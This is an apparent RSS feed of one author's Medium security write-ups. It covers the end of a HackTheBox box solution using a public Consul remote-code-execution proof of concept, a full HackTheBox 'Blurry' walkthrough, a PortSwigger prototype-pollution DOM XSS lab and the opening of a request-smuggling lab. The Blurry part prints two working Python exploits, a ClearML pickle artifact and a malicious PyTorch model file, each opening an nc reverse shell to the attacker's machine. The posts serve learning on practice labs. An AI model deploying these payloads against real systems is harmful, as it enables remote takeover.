src="https://cdn-images-1.medium.com/max/343/1*AC5JX_H6avhQ3A9ktHWy-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*vIj8CK344duNiYuyt3XDxA.png" /></figure><p>Now started hunting for configuration file as always.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*luRApxMgwNJl3j4TzrjaOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*2XwP_xQcdzpo4_8b5uVzGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*CsTG6Jye0bdREqmgdX0hpA.png" /></figure><p>Ok! Got database credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*RMUwefQ-daoywQ0H3uGC3w.png" /></figure><p>Unfortunately that doesn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*NPMR2hpY4Uwjpxmc0i4GZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*E3TpwnRXmD3Zxv5Mg0oa2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*N_fuAzMG4ozl4U8U7GOx8g.png" /></figure><p>Was not sure what to do next. So, blindly started throwing password on the users and guess what got foothold.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*GaGx3CKg--gwxIbuBbkXvA.png" /></figure><p>There’s the first one.</p><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*OqTab9NCvqCPNIDgu9_LJw.png" /></figure><p>Let’s start hunting further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*fA5h_v_Tm0NCu-8VePTnVw.png" /></figure><p>Was not sure why those ports were open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*jD8ac1TkE7CnkoQDREFMQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*R2ep4swwtN3iO0amoMaqTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*QLGjpPURnlspvoK2B_DYWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*na2gs7QYkjck6yRxkmWKDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*Ju-VoJiM9RdiSc3znF7IVA.png" /></figure><p>Ok! So, ports 8500 was hosting something. Possibly a point ahead. Let’s tunnel it via SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*CbQHwaDtbzBcBI9-R4LVbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*w83sySkcd_4D3kOPv1FVDQ.png" /></figure><p>Perfect. Time to access in browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*xGnaYiZwnZO3gcmhgCSBgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nTVISUnqZyabCC1X8iMrrQ.png" /></figure><p>Was not sure what this application is for. So, started researching. Don’t how to leverage it exactly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*JQnfnawCgOrg8kdiW9I8yg.png" /></figure><p>At the bottom-left located the version to the hosted web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*rmBELDjhIxoRiF4pDZfwPw.png" /></figure><p>Got a <a href="https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960">blog</a> post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*0I4uG-WwTkG2R1VW5iI0mA.png" /></figure><p>Time to follow along.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*n36LGpSbHRDs42kjY9EdiQ.png" /></figure><p>Guess what it works perfect. So, the problem is they used a Metasploit exploit script. But was curious of doing it manually. So, started looking for other PoCs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*oDEb0bbmG7-p6gQT0znI_A.png" /></figure><p>Came across another <a href="https://www.exploit-db.com/exploits/51117">PoC</a> in python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*3wVqCGYndhCnDvsXSf3I7Q.png" /></figure><p>So, tried running it and noticed something. Was not sure what token was it talking about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*Wn8YFqGfYHHAyqhmpAyISA.png" /></figure><p>So, started researching on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*FDt1t-wrNTJubmo1R_7WIA.png" /></figure><p>Tried enumerating but couldn’t find one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*S48jIMVD70PSmhiPWJyV0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*RtYNOb98yP6LsS3DyHeWQQ.png" /></figure><p>After a while just trying the script with a random value realized it was not mandatory as the application was not actually connected to a cloud service. And eventually spawned a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*PW1G4okHU1Ruvx4e1k0Ddg.png" /></figure><p>And there you go.</p><p>Follow up for the next one. Until then, Peace.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ebfdcd85adf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox-Blurry(WriteUp)]]></title>
            <link>https://medium.com/@aniketdas07770/hackthebox-blurry-writeup-c37ef4ee28cb?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/c37ef4ee28cb</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Sat, 12 Oct 2024 16:09:58 GMT</pubDate>
            <atom:updated>2024-10-12T16:09:58.090Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey People! Back with another one after so long. Another one from HackTheBox. Was in my drafts and noticed just now as I got some free time after so long. So, let’s go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*L2j7mnUvk334PbK0WAzPJw.png" /></figure><p><strong>*Note:</strong> I’ll be showing the answers on top and it’s explanation just below it and as always won’t let you copy paste. See, understand, type yourself and really learn.</p><h3>Initial Foothold</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*kUpbGqzsy5agVepxM0kfhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*W68caT6Hh_PXB3Fru-lStw.png" /></figure><p>Only two basic ports open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/154/1*_N8UksknBgD3pD6fO2wW-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*I1_QXYXQExxz47THcXr96Q.png" /></figure><p>So, on port 80, we are redirected to ‘app.blurry.htb’. Got it added into the ‘/etc/hosts’ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qoGX_VnUGms8w1D4Oo8Bkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*ugE6we9pGAyb9tMj3ve4jQ.png" /></figure><p>Now time to look for some other subdomains first. So, get ‘blurry.htb’ also added in the hosts file before fuzzing. And finally add the newly discovered ones too in the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RxhXkkaP88WpyUS1neHGFg.png" /></figure><p>Now on the ‘app’ subdomain, just made a random username and got in. Now went through these tips and documentation to get aware of the dashboard and environment. Now before enumerating further in, visited other subdomains as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0gEe5rAYHIzKjQ3HyYqqw.png" /></figure><p>So, on the ‘chats’ domain found a login page and tried to locate some recently discovered vulnerability in ‘rocket.chat’ but no luck yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cZPAjKbHRPlRiaA7uFmszw.png" /></figure><p>So, created an account and logged in and discovered some chats between the developers. Unfortunately couldn’t locate any credentials, API key or anything juicy. So, went on to other subdomains as well and there too no luck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZMpdp07-U29lEsYRhs7_Vw.png" /></figure><p>So, now heading back to ‘app’ subdomain, located an ongoing project or something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbqbCJSMAsm8FIPBv1ilEQ.png" /></figure><p>So, I was new to this platform and way totally unaware what it was. So, now time to know about it. So, found a playlist on YouTube. And there got to know it is some sort of a platform to test some training models and compare the codes from different developers. I don’t know much about ML and AI libraries and tools except ChatGPT and a little bit of how AI actually works(LoL). So, had a hard time figuring out what is going on actually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xy0E5HVzMID4bAx7FuvlRg.png" /></figure><p>I got that we can make some code to run but we can’t do it directly actually and from the documentations remembered back we need to install ‘clearlm’ on our system and from there need to do something but was not sure. I was definitely stuck for a while and going through the HTB Blurry discussions forum found a hint to initial foothold. I don’t know why I didn’t search for ‘clearlm’ exploit like I did for ‘rocket.chat’ before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*hg_mpui5MpQRjD2E9e-1Eg.png" /></figure><p>And look what we found, a recent CVE based on Insecure Deserialization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-2NIAk9YHRwSR5wM2ZL7zw.png" /></figure><p>Got a link to a <a href="https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/">PoC</a> report. Now went through the deserialization part in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ggoUD9aEs-aPPMD7l42kPA.png" /></figure><p>I know if you are not familiar with serialization concepts and all, you won’t get what pickle module actually does.</p><p><strong>Serialization is done such that to convert some data into a format that can be easily stored, transmitted, and reconstructed later. Whereas Deserialization occurs to get back the original form of data or in other words the reconstruction.</strong></p><p>So, from the above SS, we can see that when the get() method is called by user, it simply gets deserialized and executed and doesn’t care what is in it. Pickle is really popular in such attacks where we can try to serialize a class that does something malicious on the system. I know this because I played a similar CTF on TryHackMe which involved this similar Pickle module from Python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-SlzRVj_6tWLpYTZE3Nog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azapCFPnKcDxz5WzbZNCBA.png" /></figure><p>Now see we need to have the same exact initialization for our task too to get it sorted as one of the process tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0N87mU_IQN4b-1tCWW2MQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPssYb8yRI_AVXQCWBfzGg.png" /></figure><p>Now when our thread starts, you can notice get() is called on the ‘artifact_object’ variable which is definitely the Pickle serialized file we were referring to which will include our malicious code which gets executed without any check or something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*PXDA_tg4JUwQAoZPsIrABg.png" /></figure><p>And finally all the tasks gets deleted.</p><p>Now let’s setup our virtual environment as per the documentation we went through initially when we logged in. Actually virtual environment is used incase we want to play around with some different python versions or some deprecated packages and so on.</p><pre>sudo apt install python3.11-venv<br><br>python3 -m venv _Location_/myenv  =&gt; To create a virtual environment location and naming it myenv.<br>source _Location_/myenv/bin/activate =&gt; To activate and get into the virtual environment.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*uVbNYzctS6tKvehXUKgNiw.png" /></figure><p>After activation, you should see this ‘venv’ prompt indicating the virtual environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/334/1*hRXi40V8N4fyfZize-aZsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ntdiMln-tfh0W9oYZeM55g.png" /></figure><p>Now we need to create a credential pair to get connected to the ClearLM server. And notice the subdomains we added earlier in the hosts file, will all come handy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/1*MnRv4t_w-5l3ZuIxdeehhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*crwz4UQGH_tp0LvvLwAAeQ.png" /></figure><p>Now setup the credentials we got from the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*UluOWb-qq24svZLVDgBhTg.png" /></figure><p>Now create any file within the environment like ‘review_tasks.py’ and I used this name because of this. Now start to code the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xu4u5CheYYGCa2p6BVxUUg.png" /></figure><pre>import os<br>from clearml import Task<br><br><br>class RevShell:<br>    def __reduce__(self):<br>        cmd = &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;tun0IP&gt; 6969 &gt;/tmp/f&quot;<br>        return (os.system,(cmd,))<br><br>task = Task.init(project_name=&quot;Black Swan&quot;,task_name=&quot;MyCustomArtifact&quot;,tags=[&quot;review&quot;],task_type=Task.TaskTypes.data_processing)<br>task.upload_artifact(name=&quot;artifact&quot;,artifact_object=RevShell())<br>task.execute_remotely(queue_name=&#39;default&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VK_ZFIfWD1KRUu8LoP0NtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M_tId7q-41F4z2Frbnx3bw.png" /></figure><p>Initially I was trying to pickle dump(serialize) the object myself and tried uploading and was unable to get the shell. I tried it so many times as per the video reference from the PoC report we found but still was not getting the shell.</p><p>After going through some community help, got an advice to not serialize it myself as it will also be done automatically by upload_artifact() method on the server. Initially I didn’t get what that meant and just followed the advice and came across the above code which takes in the object class directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PQDL5HnLchjUsGj6OV7Ypg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*Dt4bOtv9dO3uXCYOknUa_g.png" /></figure><p>Now trying it, got the shell and eventually understood why I got that advice. Notice that ‘artifact.pkl’ is getting created. So, I think previously our object was getting serialized twice i.e. first by us and then, by the server. So, directly passing our RevShell class object, makes it get serialized only once which when deserialized by the get() method, becomes the required reverse shell code. I am not still sure about that but it still worked this way, so got some hope ahead as I struggled all the way from morning till evening.</p><p>So, once the admin goes to review our uploaded object, we get the shell which should eventually get cleaned after.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/263/1*HuEX93NqT-OXARkSoDAPmA.png" /></figure><p>So, now we should get our first flag.</p><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lIX6DOdm7P9Roj5W5T85Fg.png" /></figure><p>So, moving onto root, got some special ‘sudo’ privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXosHWrWD3rMA98HrTi81A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1vdltgScabb6d-9c_18Nhw.png" /></figure><p>So, now trying reading this custom bash script, got some insights on what it actually does. So, it takes a ‘.pth’ file as an argument and refers to a ‘evaluate_model.py’ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*AFdRPGwm0DHMiiVvkOyYSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*zcZ7pJnvO5mgYaSNxD3dDw.png" /></figure><p>So, I was not getting much on it yet until I went through the custom script completely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEW5lwmQvmkzKSzZUUUxDw.png" /></figure><p>So, this extracts stuff from the the ‘.pth’ file based on the file type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZtE1MF7NolDM025lR46iQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V78oURck4WZ62SmjTw_Jlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SRgy5rWKDAjQzQry81w8A.png" /></figure><p>So, now putting the code to ChatGPT, got it analyzed and understood it is checking for some dangerous/malicious pickle serialized files. And if is indeed dangerous, then it gets deleted. So, here the regular method of insecure deserialization won’t come handy like the initial foothold.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*76hrnt5J6o8HMmfLvG1F5A.png" /></figure><p>So, if the file is safe i.e. no malicious pickle files, then the ‘evaluate_model.py’ gets called which loads the model from the ‘*.pth’ file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*cYrviH86JPoeRZaqvmqX-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*Hxn8p2ORrm_0Z8C9sfGvXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*_AEd9sK9X2zkguenGvWgMQ.png" /></figure><p>So, I think we are on the right track. First we need to create a malicious ‘pth’ file that will give a reverse shell. And then will load the model with a python script.</p><pre>pip install torch</pre><p>So, get the dependencies installed.</p><pre>import torch<br>import os<br><br>class MaliciousModel(torch.nn.Module):<br>    def __init__(self):<br>        super(MaliciousModel, self).__init__()<br><br>    def forward(self, x):<br>        return x<br><br>    def __reduce__(self):<br>        return (os.system, (&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;tun0IP&gt; 6974 &gt;/tmp/f&quot;,))<br><br># Save the malicious model<br>model = MaliciousModel()<br>torch.save(model, &#39;malicious.pth&#39;)</pre><p>Now use this script to create a ‘malicious.pth’ named reverse shell Pytorch file. So, executing this, we get the ‘malicious.pth’ file.</p><pre>import torch<br><br># Load the malicious model<br>model = torch.load(&#39;malicious.pth&#39;)</pre><p>And create another python file named ‘evaluate_model.py’. So, time to get both of these downloaded on the target. Use the python http.server module to do so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*hcNeJiCcL3DcQ2XkJxzNIA.png" /></figure><p>So, once saved, time to get the file run with sudo permission which should eventually run as user ‘root’ and give us a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8gDH5lE2zNeVWe112by7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*zbVj9VLrKS7zquRJ7dzxRw.png" /></figure><p>And there you go with the final flag.</p><p>Hope you enjoyed. Follow me up on the next one. Until then, Peace.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c37ef4ee28cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSecurityAcademy-DOM XSS via an alternative prototype pollution vector(WriteUp)]]></title>
            <link>https://medium.com/@aniketdas07770/websecurityacademy-dom-xss-via-an-alternative-prototype-pollution-vector-writeup-99b4236489b5?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/99b4236489b5</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Fri, 30 Aug 2024 18:37:20 GMT</pubDate>
            <atom:updated>2024-08-30T18:37:20.118Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Enthusiasts! Back with another one. Today let’s discuss a client-side prototype pollution lab which involves some source code analysis. You can simply automate it using Burp’s DOM Invader tool with just a few clicks. But I am following the manual approach to simply give you a high level overview of what happens in this vulnerability. Let’s Go!</p><p><strong>Disclaimer:</strong> A little knowledge of Javascript syntax, object prototype, inheritance and obviously prototype pollution is well appreciated. On my end will try to simplify as much as I can.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*WngHHnnVTS61Qa_lhQGIGw.png" /></figure><p>Prototype pollution exploitation involves three fundamental requirements, first the ‘source’ which we can control i.e. simply an input point, second a ‘gadget’ i.e. in Javascript terminology a property and finally a ‘sink’ point where our controlled input is passed and eventually executed.</p><p>So, as per methodology, let’s first look up for a source point. So, we got so many input points. Let’s test them one by one to check if any of them supports JSON content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*wLYu4UdtEFHTzfd9_4ohBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WnFpvnuBTw6UfdA9axoSAg.png" /></figure><p>So, that occurs with a GET method. Let’s move onto next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*sM8FTudkw58Uwh4-otSD_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*1gRQcfYT5eIgQOSL11cU3A.png" /></figure><p>Another input point within the blog section, but that too isn’t JSON type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*ipfQF92adZxsa3y0nusABg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*10oBoqPPq1PRyZUOh-33_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*AXB61xHUBGWbsY6-4ih4_w.png" /></figure><p>Unfortunately that too isn’t JSON type. Now time to check for the URL query strings and URL fragments. In Javascript, __proto__ is a special property that allows to access the prototype object from which the current object inherits. If you didn’t understand, then you need to first go through the basic Javascript terminologies as I mentioned previously. So, we can leverage this to either get the available properties and even set some new custom properties.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*ukGI7Pgyfiu1O6xXuLg7yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*tCmuRHk_aYNB9CYFmRzkhw.png" /></figure><p>Ok! So, this is the first syntax through which we can try to create some custom properties. But unfortunately it fails. What basically we are trying to achieve is, to assign a custom property to the object which should get recursively merged to parent i.e. Object.prototype, through which all objects inherits default properties. The recursive merge is possible because of how the __proto__ property functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*Il86b3ghoVQ5TLYJ7G1Y5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*nDYwgVDVQXZ_6ZtFVFBo3A.png" /></figure><p>So, now trying the second syntax, we successfully located the source point. See unlike previously, this time it says that there exists a property name ‘test’ with value ‘testval’ for the global object which is getting inherited by all newly created objects like the object ‘obj’ we created in above image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*AbtRhbWLNj6ZturcXlI3iw.png" /></figure><p>Time to look up for gadgets i.e. properties we can leverage. So, there are three Javascript files to perform source code analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*3KXb9u8Tm4NR_9oPOPhPuA.png" /></figure><p>Let’s go through the script codes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cezfiz41N5ndILucaNaXhw.png" /></figure><p>So, nothing interesting i.e. no such custom properties being involved here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUbqrA0oKv4Z2asO-a1EMw.png" /></figure><p>The ‘searchLoggerAlternative.js’ script looks promising. The eval() method should immediately catch your attention. If you have come across source code reviews, you must know it is a potential dangerous function and must be immediately reviewed. Let’s check if the source point we found earlier has any sort of link to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*cefJUklAw_rlB4TCG1UPWQ.png" /></figure><p>Ok! So, a custom property named ‘sequence’ is being involved here. This gave me a hint because I’ve never come across such a property name before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*zqdVRkv9klU4pwF_zGbOqg.png" /></figure><p>So, there is no such property defined for the global object. And we know we have identified a source point that will allow us to add ours. Let’s further see what happens next in the script code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*jQLkf3Oc2mWXmMygzSVeVQ.png" /></figure><p>So, now we know that there is no such property defined, hence, because of the ‘||’ operator it will assign ‘1’ to variable ‘a’ and in the next line the custom property is assigned value ‘1+1’ i.e. ‘2’. Let’s check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*xoM0wBGFQNscnvnGqNI_6Q.png" /></figure><p>And is indeed what we discussed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tbmjFJko1Ugokqc3cn55qA.png" /></figure><p>Next see, a custom method ‘macro’ defined at pointer ‘2)’ is passed the ‘sequence’ property value as argument at pointer ‘1)’. So, as ‘2’ is passed i.e. the current value of this property which we saw above, the custom defined ‘macro’ method checks that is there a property named ‘2’ and if it is, then return its value and finally it gets executed in the eval() block. So, notice there’s a direct link.</p><p>So, what we know so far is, there is no such ‘sequence’ property defined by default which should now be looked and inherited from the global object i.e. Object.prototype, next the source point that allows us to define our custom property on global object through prototype pollution and finally a direct link to the eval() method because of the ‘sequence’ property absence making it act as the sink point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1GpQSl-0Wf5IE9XZEOHSZA.png" /></figure><p>So, now trying defining this property, the page renders, the script code executes and we get an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*cNDGzGWAqabNx0KEoRylDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*pWaINzb1j4CMqR3EepuNtw.png" /></figure><p>See the value this time. So, ‘test’ being a string, type conversion on ‘1’ occurs and gets concatenated to it finally making the value ‘test1’. So, we have indeed confirmed, that we have direct control over this custom property which gets passed to the eval() method without any sanitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IsJf-_qXY1cNLgBXwj4CEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*6q9OSQW0DWx4zGby5DjEUA.png" /></figure><p>Time to craft the XSS payload. Unfortunately ‘1’ is getting appended with alert() which makes it an invalid method and that’s why the error pops up. So, let’s try to bypass it somehow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*ZjxYycdC2CbLwbppA5gmyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YskMWG_kWz5895uvWPtNMA.png" /></figure><p>So, the ‘||’ operator works well to separate them and make the alert() method valid. And we get the payload executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*eJP5cyD01ASljgytRymAKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*qaZThoIXKLMXkrD8y11-1A.png" /></figure><p>In short, what is happening as per script code is, it checks that is there a property named sequence and is indeed present this time as we defined it from the source point with the alert() payload value. So, as it exists, its value is returned i.e. the XSS payload which is straight passed to the eval() method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MtTGIM9_sm3lGEkkG6Sy8Q.png" /></figure><p>There you go! Lab gets solved.</p><p>So, hope you enjoyed and got something new to learn. Until next one, Peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99b4236489b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSecurityAcademy-Exploiting HTTP request smuggling to perform web cache poisoning(WriteUp)]]></title>
            <link>https://medium.com/@aniketdas07770/websecurityacademy-exploiting-http-request-smuggling-to-perform-web-cache-poisoning-writeup-1994b0902bef?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/1994b0902bef</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[https]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Tue, 27 Aug 2024 20:12:01 GMT</pubDate>
            <atom:updated>2024-08-27T20:12:01.424Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Folks! Welcome back. In the last blog we saw bypassing of some security controls via HTTP Request Smuggling. Let’s now see how can we perform chaining in case we found multiple vulnerabilities. Let’s Go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*V4awNlq6cc4yUeHXc3Mvyw.png" /></figure><p>As always a simple home page. This time we got something to explore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*wBTgXMc9MEp0Ty3dY1G9RA.png" /></figure><p>As the lab is about web cache poisoning. So, let’s look for some cacheable contents first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6BN-uUwtUVAN7deBGKSrg.png" /></figure><p>So, clearly this script is cacheable with a maximum cache period of 30 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VzJd-h_JLDj1CJxtg8Sawg.png" /></figure><p>So, the description says the configuration is CL.TE i.e. front-end is using ‘Content-Length’ for content parsing whereas back-end uses ‘Transfer-Encoding chunked’ for parsing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*xKgsdNnXmZUTILjONsZ1oQ.png" /></figure><p>But let’s still go with the PoC graph to confirm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdwR0Ci_bysKiXxXJCRoRA.png" /></figure><p>So, make sure to do the necessary changes in the Repeater tab like we did in the last blog. Make sure to set the request to HTTP version 1 from Inspector menu in the Request attributes tab. There’s no need to disable ‘Update Content-Length’ setting for the next subsequent requests when we design the payload, but for now i.e. for this PoC we need to disable it because the length is certainly greater than 6.<br>And there you go. As per PoC graph, it confirms CL.TE configuration in place.</p><figure><img alt="" 